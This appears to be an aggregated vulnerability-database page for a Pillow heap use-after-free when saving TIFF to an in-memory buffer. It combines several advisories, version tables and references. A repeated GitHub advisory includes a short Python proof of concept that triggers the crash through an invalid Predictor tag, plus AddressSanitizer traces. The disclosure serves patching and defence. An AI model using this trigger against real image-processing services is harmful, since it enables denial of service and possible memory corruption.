CVE-2026-112396
Pillow: Heap use-after-free when encoding TIFF to an in-memory buffer
Pillow is a Python imaging library. From 11.3.0 until 13.0.0, Pillow has a heap use-after-free when libtiff rejects a tag while encoding TIFF data to an in-memory buffer. When an application saves attacker-influenced TIFF tags to BytesIO, libtiff can reject a tag during encoding in ImagingLibTiffEncode; the error path then frees the output buffer without closing or clearing the TIFF handle, and later cleanup flushes through the write callback into freed memory, which can crash the process and may enable code execution. This issue is fixed in version 13.0.0.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- High
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
5.9
Pillow: Heap use-after-free when encoding TIFF to an in-memory buffer
Pillow is a Python imaging library. From 11.3.0 until 13.0.0, Pillow has a heap use-after-free when libtiff rejects a tag while encoding TIFF data to an in-memory buffer. When an application saves attacker-influenced TIFF tags to BytesIO, libtiff can reject a tag during encoding in ImagingLibTiffEncode; the error path then frees the output buffer without closing or clearing the TIFF handle, and later cleanup flushes through the write callback into freed memory, which can crash the process and may enable code execution. This issue is fixed in version 13.0.0.
- Record
CVE-2026-112396- CVSS 3.1
- 5.9 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-416
- Updated
- 2026-11-02
EUVDEUVD-2026-104632
5.9
Pillow is a Python imaging library. From 11.3.0 until 13.0.0, Pillow has a heap use-after-free when libtiff rejects a tag while encoding TIFF data to an in-memory buffer. When an application saves attacker-influenced TIFF tags to BytesIO, libtiff can reject a tag during encoding in ImagingLibTiffEncode; the error path then frees the output buffer without closing or clearing the TIFF handle, and later cleanup flushes through the write callback into freed memory, which can crash the process and may enable code execution. This issue is fixed in version 13.0.0.
- Record
EUVD-2026-104632- CVSS 3.1
- 5.9 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-4rr5-89j8-mwwm
5.9
Pillow: Heap use-after-free when encoding TIFF to an in-memory buffer
Summary
Saving an image as TIFF to an in-memory buffer can trigger a heap use-after-free if libtiff rejects a tag at encode time. When TIFFWriteScanline fails, the encoder frees its output buffer but leaves the libtiff handle open. Later, when the encoder object is torn down, TIFFClose flushes buffered bytes through the write callback and writes into the freed buffer. An application that re-encodes attacker-influenced images to TIFF in memory can be crashed and is a candidate for remote code execution.
Details
The failure path in ImagingLibTiffEncode frees clientstate->data for the in-memory case but does not close the TIFF or null clientstate->tiff (the file-descriptor branch just above it does set tiff = NULL):
src/libImaging/TiffDecode.c:1041-1046
Teardown then calls ImagingLibTiffEncodeCleanup, which runs TIFFClose(tiff) because tiff is still set:
src/encode.c:99-101src/libImaging/TiffDecode.c:955
TIFFClose flushes through _tiffWriteProc, which reallocs and memcpys into the freed state->data:
src/libImaging/TiffDecode.c:103-115
The Predictor tag is a convenient trigger: the floating-point predictor (value 3) is invalid for integer sample data, so libtiff aborts the write.
PoC
import io
from PIL import Image
# In-memory TIFF re-encode. libtiff rejects Predictor=3 (floating point) on integer
# data, so TIFFWriteScanline fails. The encoder frees clientstate->data but leaves the
# TIFF open; cleanup's TIFFClose then writes through the callback into the freed buffer.
im = Image.new("L", (64, 64))
buf = io.BytesIO()
im.save(buf, format="TIFF", compression="tiff_lzw", tiffinfo={317: 3}) # 317 = Predictor
Run it:
$ python 01_poc.py
PredictorSetup: Floating point "Predictor" not supported with 1 data format.
OSError: encoder error -2 when writing image file
Segmentation fault (core dumped)
Observed on a source build of commit 3e2ab96 with libtiff. The process aborts during cleanup after the encoder error. Depending on heap state the same run sometimes reports corrupted double-linked list instead of a segfault; both are the same write into freed memory.
Under AddressSanitizer (build with -fsanitize=address), relevant frames:
==ERROR: AddressSanitizer: heap-use-after-free on address 0x7ef737b48804
WRITE of size 4 at 0x7ef737b48804 thread T0
#1 _tiffWriteProc src/libImaging/TiffDecode.c:115
#3 TIFFFlush libtiff.so.6
#5 TIFFClose libtiff.so.6
#6 ImagingLibTiffEncodeCleanup src/libImaging/TiffDecode.c:955
#7 _dealloc src/encode.c:100
freed by thread T0 here:
#1 ImagingLibTiffEncode src/libImaging/TiffDecode.c:1045
#2 _encode src/encode.c:139
previously allocated by thread T0 here:
#1 ImagingLibTiffEncodeInit src/libImaging/TiffDecode.c:863
#2 PyImaging_LibTiffEncoderNew src/encode.c:757
SUMMARY: AddressSanitizer: heap-use-after-free src/libImaging/TiffDecode.c:115 in _tiffWriteProc
The buffer allocated in ImagingLibTiffEncodeInit is freed in ImagingLibTiffEncode, then written by _tiffWriteProc during the TIFFClose flush that runs from the encoder's _dealloc.
Impact
Use-after-free in a C extension. Affects any service that converts or thumbnails untrusted images to TIFF in memory (a BytesIO or other non-seekable target). Result is a crash and possible memory corruption leading to code execution.
- Record
GHSA-4rr5-89j8-mwwm- CVSS 3.1
- 5.9 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-416
- Updated
- 2026-11-02
NVD
5.9
Pillow is a Python imaging library. From 11.3.0 until 13.0.0, Pillow has a heap use-after-free when libtiff rejects a tag while encoding TIFF data to an in-memory buffer. When an application saves attacker-influenced TIFF tags to BytesIO, libtiff can reject a tag during encoding in ImagingLibTiffEncode; the error path then frees the output buffer without closing or clearing the TIFF handle, and later cleanup flushes through the write callback into freed memory, which can crash the process and may enable code execution. This issue is fixed in version 13.0.0.
- Record
CVE-2026-112396- CVSS 3.1
- 5.9 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H - CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-416
- Updated
- 2026-11-02
OSV
5.9
Pillow: Heap use-after-free when encoding TIFF to an in-memory buffer
Pillow is a Python imaging library. From 11.3.0 until 13.0.0, Pillow has a heap use-after-free when libtiff rejects a tag while encoding TIFF data to an in-memory buffer. When an application saves attacker-influenced TIFF tags to BytesIO, libtiff can reject a tag during encoding in ImagingLibTiffEncode; the error path then frees the output buffer without closing or clearing the TIFF handle, and later cleanup flushes through the write callback into freed memory, which can crash the process and may enable code execution. This issue is fixed in version 13.0.0.
- Record
CVE-2026-112396- CVSS 3.1
- 5.9 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-416
- Updated
- 2026-11-02
OSVDEBIAN-CVE-2026-112396
7.5
Pillow is a Python imaging library. From 11.3.0 until 13.0.0, Pillow has a heap use-after-free when libtiff rejects a tag while encoding TIFF data to an in-memory buffer. When an application saves attacker-influenced TIFF tags to BytesIO, libtiff can reject a tag during encoding in ImagingLibTiffEncode; the error path then frees the output buffer without closing or clearing the TIFF handle, and later cleanup flushes through the write callback into freed memory, which can crash the process and may enable code execution. This issue is fixed in version 13.0.0.
- Record
DEBIAN-CVE-2026-112396- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
Show 6 moreShow less
OSVGHSA-4rr5-89j8-mwwm
5.9
Pillow: Heap use-after-free when encoding TIFF to an in-memory buffer
Summary
Saving an image as TIFF to an in-memory buffer can trigger a heap use-after-free if libtiff rejects a tag at encode time. When TIFFWriteScanline fails, the encoder frees its output buffer but leaves the libtiff handle open. Later, when the encoder object is torn down, TIFFClose flushes buffered bytes through the write callback and writes into the freed buffer. An application that re-encodes attacker-influenced images to TIFF in memory can be crashed and is a candidate for remote code execution.
Details
The failure path in ImagingLibTiffEncode frees clientstate->data for the in-memory case but does not close the TIFF or null clientstate->tiff (the file-descriptor branch just above it does set tiff = NULL):
src/libImaging/TiffDecode.c:1041-1046
Teardown then calls ImagingLibTiffEncodeCleanup, which runs TIFFClose(tiff) because tiff is still set:
src/encode.c:99-101src/libImaging/TiffDecode.c:955
TIFFClose flushes through _tiffWriteProc, which reallocs and memcpys into the freed state->data:
src/libImaging/TiffDecode.c:103-115
The Predictor tag is a convenient trigger: the floating-point predictor (value 3) is invalid for integer sample data, so libtiff aborts the write.
PoC
import io
from PIL import Image
# In-memory TIFF re-encode. libtiff rejects Predictor=3 (floating point) on integer
# data, so TIFFWriteScanline fails. The encoder frees clientstate->data but leaves the
# TIFF open; cleanup's TIFFClose then writes through the callback into the freed buffer.
im = Image.new("L", (64, 64))
buf = io.BytesIO()
im.save(buf, format="TIFF", compression="tiff_lzw", tiffinfo={317: 3}) # 317 = Predictor
Run it:
$ python 01_poc.py
PredictorSetup: Floating point "Predictor" not supported with 1 data format.
OSError: encoder error -2 when writing image file
Segmentation fault (core dumped)
Observed on a source build of commit 3e2ab96 with libtiff. The process aborts during cleanup after the encoder error. Depending on heap state the same run sometimes reports corrupted double-linked list instead of a segfault; both are the same write into freed memory.
Under AddressSanitizer (build with -fsanitize=address), relevant frames:
==ERROR: AddressSanitizer: heap-use-after-free on address 0x7ef737b48804
WRITE of size 4 at 0x7ef737b48804 thread T0
#1 _tiffWriteProc src/libImaging/TiffDecode.c:115
#3 TIFFFlush libtiff.so.6
#5 TIFFClose libtiff.so.6
#6 ImagingLibTiffEncodeCleanup src/libImaging/TiffDecode.c:955
#7 _dealloc src/encode.c:100
freed by thread T0 here:
#1 ImagingLibTiffEncode src/libImaging/TiffDecode.c:1045
#2 _encode src/encode.c:139
previously allocated by thread T0 here:
#1 ImagingLibTiffEncodeInit src/libImaging/TiffDecode.c:863
#2 PyImaging_LibTiffEncoderNew src/encode.c:757
SUMMARY: AddressSanitizer: heap-use-after-free src/libImaging/TiffDecode.c:115 in _tiffWriteProc
The buffer allocated in ImagingLibTiffEncodeInit is freed in ImagingLibTiffEncode, then written by _tiffWriteProc during the TIFFClose flush that runs from the encoder's _dealloc.
Impact
Use-after-free in a C extension. Affects any service that converts or thumbnails untrusted images to TIFF in memory (a BytesIO or other non-seekable target). Result is a crash and possible memory corruption leading to code execution.
- Record
GHSA-4rr5-89j8-mwwm- CVSS 3.1
- 5.9 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-416
- Updated
- 2026-11-02
OSVPYSEC-2026-4328
7.5
Pillow is a Python imaging library. From 11.3.0 until 13.0.0, Pillow has a heap use-after-free when libtiff rejects a tag while encoding TIFF data to an in-memory buffer. When an application saves attacker-influenced TIFF tags to BytesIO, libtiff can reject a tag during encoding in ImagingLibTiffEncode; the error path then frees the output buffer without closing or clearing the TIFF handle, and later cleanup flushes through the write callback into freed memory, which can crash the process and may enable code execution. This issue is fixed in version 13.0.0.
- Record
PYSEC-2026-4328- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVUBUNTU-CVE-2026-112396
5.9
Pillow is a Python imaging library. From 11.3.0 until 13.0.0, Pillow has a heap use-after-free when libtiff rejects a tag while encoding TIFF data to an in-memory buffer. When an application saves attacker-influenced TIFF tags to BytesIO, libtiff can reject a tag during encoding in ImagingLibTiffEncode; the error path then frees the output buffer without closing or clearing the TIFF handle, and later cleanup flushes through the write callback into freed memory, which can crash the process and may enable code execution. This issue is fixed in version 13.0.0.
- Record
UBUNTU-CVE-2026-112396- CVSS 3.1
- 5.9 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H - CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-04
OSVBIT-pillow-2026-112396 No score
Pillow: Heap use-after-free when encoding TIFF to an in-memory buffer
Pillow is a Python imaging library. From 11.3.0 until 13.0.0, Pillow has a heap use-after-free when libtiff rejects a tag while encoding TIFF data to an in-memory buffer. When an application saves attacker-influenced TIFF tags to BytesIO, libtiff can reject a tag during encoding in ImagingLibTiffEncode; the error path then frees the output buffer without closing or clearing the TIFF handle, and later cleanup flushes through the write callback into freed memory, which can crash the process and may enable code execution. This issue is fixed in version 13.0.0.
- Record
BIT-pillow-2026-112396- Updated
- 2026-11-02
OSVCLSA-2026-1793025111 No score
TuxCare security update for pillow (3 CVEs)
TuxCare rebuilt pillow to address 3 CVEs. Fixed in 11.3.0.post12+tuxcare.
- Record
CLSA-2026-1793025111- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:12230-1 No score
python313-Pillow-13.0.0-1.1 on GA media
These are all security issues fixed in the python313-Pillow-13.0.0-1.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2026:12230-1- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
pillowPyPI |
11.3.0 up to 13.0.0 | 13.0.0 |
pillowBitnami |
11.3.0 up to 13.0.0 | 13.0.0 |
pillowTuxCare:PyPI From an advisory covering 3 CVEs |
11.3.0 up to 11.3.0.post12+tuxcare, plus listed versions 11.3.0.post1+tuxcare11.3.0.post10+tuxcare11.3.0.post11+tuxcare11.3.0.post2+tuxcare11.3.0.post3+tuxcare Show 6 moreShow less11.3.0.post4+tuxcare11.3.0.post5+tuxcare11.3.0.post6+tuxcare11.3.0.post7+tuxcare11.3.0.post8+tuxcare11.3.0.post9+tuxcare |
11.3.0.post12+tuxcare |
pillowDebian:12 |
All versions, plus listed versions 10.0.0-110.1.0-110.2.0-110.3.0-110.3.0-2 Show 19 moreShow less10.4.0-110.4.0-1.111.1.0-111.1.0-211.1.0-311.1.0-411.1.0-511.2.1-111.3.0-112.0.0-112.1.0-112.1.1-112.1.1-212.2.0-112.3.0-113.0.0-19.4.0-1.19.4.0-1.1+deb12u19.5.0-1 |
None known |
pillowDebian:13 |
All versions, plus listed versions 11.1.0-511.1.0-5+deb13u111.1.0-5+deb13u211.1.0-5+deb13u311.1.0-5+deb13u4 Show 9 moreShow less11.2.1-111.3.0-112.0.0-112.1.0-112.1.1-112.1.1-212.2.0-112.3.0-113.0.0-1 |
None known |
pillowDebian:14 |
All versions, plus listed versions 11.1.0-511.2.1-111.3.0-112.0.0-112.1.0-1 Show 5 moreShow less12.1.1-112.1.1-212.2.0-112.3.0-113.0.0-1 |
None known |
pillowPyPI |
11.3.0 up to 13.0.0, plus listed versions 12.0.012.1.012.1.112.2.012.3.0 |
13.0.0 |
pillow-python2Ubuntu:Pro:20.04:LTS |
All versions, plus listed versions 6.2.1-3~build16.2.1-36.2.1-3ubuntu0.1~esm16.2.1-3ubuntu0.1~esm2 |
None known |
pillowUbuntu:26.10 |
All versions, plus listed versions 12.1.1-2ubuntu112.3.0-1ubuntu1 |
None known |
pillowUbuntu:26.04:LTS |
All versions, plus listed versions 11.3.0-1ubuntu111.3.0-1ubuntu212.0.0-1ubuntu112.1.1-1ubuntu112.1.1-2ubuntu1 Show 4 moreShow less12.1.1-2ubuntu1.112.1.1-2ubuntu1.212.1.1-2ubuntu1.312.1.1-2ubuntu1.4 |
None known |
python-PillowopenSUSE:Tumbleweed From an advisory covering 14 CVEs |
before 13.0.0-1.1 | 13.0.0-1.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected | ||
| affected | OSV | |
| affected, facts | OSV | |
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-112396 is a medium vulnerability (CVSS 5.9) in Python Pillow, published October 19, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.69%, the 53rd percentile. Fixed in pillow 13.0.0.
References
github.com/python-pillow/Pillow/security/advisories/GHSA-4rr5-89j8-mwwm
github.com/python-pillow/Pillow/commit/dc95da20207827a062cfbf551ee9f6031465a8bb
github.com/python-pillow/Pillow/releases/tag/13.0.0
nvd.nist.gov/vuln/detail/CVE-2026-112396
github.com/advisories/GHSA-4rr5-89j8-mwwm
github.com/CVEProject/cvelistV5/tree/main/cves/2026/112xxx/CVE-2026-112396.json
Show 18 moreShow less
security-tracker.debian.org/tracker/CVE-2026-112396
github.com/python-pillow/Pillow
ubuntu.com/security/CVE-2026-112396
cve.org/CVERecord?id=CVE-2026-112396
suse.com/security/cve/CVE-2026-112390
suse.com/security/cve/CVE-2026-112392
suse.com/security/cve/CVE-2026-112394
suse.com/security/cve/CVE-2026-112396
suse.com/security/cve/CVE-2026-112398
suse.com/security/cve/CVE-2026-112400
suse.com/security/cve/CVE-2026-112402
suse.com/security/cve/CVE-2026-112404
suse.com/security/cve/CVE-2026-112406
suse.com/security/cve/CVE-2026-112892
suse.com/security/cve/CVE-2026-112894
suse.com/security/cve/CVE-2026-112896
suse.com/security/cve/CVE-2026-112898
suse.com/security/cve/CVE-2026-112900